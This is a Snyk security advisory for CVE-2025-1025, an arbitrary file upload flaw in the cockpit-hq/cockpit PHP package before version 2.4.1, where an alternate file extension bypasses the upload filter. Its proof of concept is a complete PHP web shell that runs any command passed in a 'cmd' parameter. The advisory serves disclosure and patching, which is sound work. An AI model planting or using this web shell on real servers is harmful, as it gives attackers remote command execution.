Arbitrary File Upload Affecting cockpit-hq/cockpit package, versions <2.4.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Upload vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-COCKPITHQCOCKPIT-8516320
  • published4 Feb 2025
  • disclosed16 Dec 2024
  • creditChi Siang Choo

Introduced: 16 Dec 2024

CVE-2025-1025  (opens in a new tab)
CWE-434  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade cockpit-hq/cockpit to version 2.4.1 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary File Upload where an attacker can use different extension to bypass the upload filter.

PoC

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if($_GET['cmd'])
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

CVSS Scores

version 4.0
version 3.1